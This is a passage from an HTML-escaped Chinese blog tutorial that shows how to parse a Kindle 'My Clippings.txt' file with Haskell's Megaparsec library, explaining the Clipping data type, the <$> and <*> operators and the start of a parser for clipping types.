                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pTitle&quot;&gt;pTitle&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pAuthor&quot;&gt;pAuthor&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pFile&quot;&gt;pFile&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#清理数据&quot;&gt;清理数据&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#合并笔记和对应标注&quot;&gt;合并笔记和对应标注&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#输出成CSV&quot;&gt;输出成CSV&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#完整代码&quot;&gt;完整代码&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#Readwise不好用&quot;&gt;Readwise不好用&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Parse&quot;&gt;Parse&lt;&#x2F;h2&gt;
&lt;p&gt;近期我又对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Haskell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;产生兴趣了，所以跳着读了下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;link.springer.com&#x2F;book&#x2F;10.1007&#x2F;978-1-4842-8581-7&quot;&gt;Alejandro
Serrano Mena&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的《Practical
Haskell》&lt;&#x2F;a&gt;之后就用书里介绍的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Attoparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。不过因为书里只是简单介绍、Attoparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的错误信息近乎于零、我不知道该如何测试，不久我就转而使用拥有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;markkarpov.com&#x2F;tutorial&#x2F;megaparsec.html&quot;&gt;详尽教程&lt;&#x2F;a&gt;、注重错误信息、官方提供测试方法的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Megaparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库了。&lt;&#x2F;p&gt;
&lt;p&gt;本段就来讲解如何用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Haskell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Megaparsec&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库解析&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt。因为我也是现学的，所以会讲得比较通俗——不过要小心我可能会讲错，对某个细节有兴趣的话建议上网再查查。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;拆分问题&quot;&gt;拆分问题&lt;&#x2F;h3&gt;
&lt;p&gt;My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中的一条&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clipping&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大概是如下形式：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;日瓦戈医生 (［苏］帕斯捷尔纳克)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;- 您在位置 #1144-1144的标注 | 添加于 2019年1月2日星期三 下午12:15:12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;请您注意，一个人生存在别人之中，才是一个人的本性。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;==========&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，我们可以从中提取出标题、作者、位置、类型、日期还有内容——这些都是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一整条&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clipping&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时需要解决的子问题。我们可以用它们组成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Clipping =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Clipping&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    author&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    type_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: ClippingType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: UTCTime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    content&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  deriving&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Show&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Eq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意等号两边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;虽然同名，但代表不同的东西：左边的是类型名，右边的是调用后可以返回左边类型的构造函数。&lt;&#x2F;p&gt;
&lt;p&gt;我们还可以写出如下的函数来组装&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; Parser = Parsec Void Text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pClipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Clipping&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pClipping &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Clipping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pTitle &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pAuthor &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pLocation &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pUTCTime &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pContent&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pTitle&lt;&#x2F;code&gt;、&lt;code&gt;pAuthor&lt;&#x2F;code&gt;、&lt;code&gt;pLocation&lt;&#x2F;code&gt;、&lt;code&gt;pType&lt;&#x2F;code&gt;、&lt;code&gt;pUTCTime&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pContent&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是分别处理标题、作者等子问题的函数。&lt;&#x2F;p&gt;
&lt;p&gt;定义&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型那一行不用深究，只需要知道如果一个函数的类型是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser a&lt;&#x2F;code&gt;，那么在实际&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时它会从字符串里拿一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;a&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出来。我们也可以把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;想象成某种列表：&lt;code&gt;[a]&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表列表里装着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;a&lt;&#x2F;code&gt;，&lt;code&gt;Parser a&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里装着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;a&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;严格来讲，是列表和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都属于一种东西。不过并不需要知道它们属于什么也可以解决问题，所以我也不会讲到底属于什么。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;+&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思是把它左边的函数拿进右边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里调用，然后把结果继续装在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里。比如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping &amp;lt;$&amp;gt; pTitle&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表把本来需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个参数的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;构造函数放进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里拿到第一个参数（&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里装的东西&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，然后我们得到一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里装着还需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个参数的函数&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个参数的函数和需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个参数然后返回一个需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个参数的函数是一个意思——实际上，每个函数都只需要一个参数。需要多个参数的函数不过是返回了新的函数。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;*&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思是把左边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里包着的函数和右边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里包着的参数结合，然后把结果放进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里。它和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的区别在于它期望左边的函数是被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包住的，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;期望一个普通的函数——所以我们会经常看到一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;起头，后面跟着很多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;*&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;明白了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;$&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;*&amp;gt;&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的意思，就可以看出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pClipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数所做的事是把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数拿进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里。然后一个一个地把参数喂给装进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之中的函数，最后我们可以得到一个装着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Clipping&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pType&quot;&gt;pType&lt;&#x2F;h3&gt;
&lt;p&gt;先让我们从最简单的子问题入手：区分被&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的字符串是标注还是笔记。&lt;&#x2F;p&gt;
&lt;p&gt;我们已经见过标注的例子，下面是笔记的例子：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;番茄工作法【创始人毕生心血之作，已售11国版权，时间管理领域扛鼎作品！华尔街日报、哈佛商业评论等联袂推荐】 (弗朗西斯科·西里洛)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;- 您在位置 #257 的笔记 | 添加于 2021年4月6日星期二 下午4:58:09&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;是么？&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;==========&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，区别在于标注会写“您在位置
xxx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的标注&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，而笔记会写“您在位置
xxx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的笔记&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中类似的类型还有“书签”和“文章剪切&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，我就不举例了。&lt;&#x2F;p&gt;
&lt;p&gt;一个简单的思路是：定义一个有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;种可能值的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;ClippingType&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型，然后根据匹配到的是“标注”还是“笔记”来决定返回什么：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ClippingType =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Bookmark&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; Note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; deriving&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Show&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Eq&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;Ord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser ClippingType&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; whichType &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;标注&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;笔记&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;书签&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;文章剪切&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
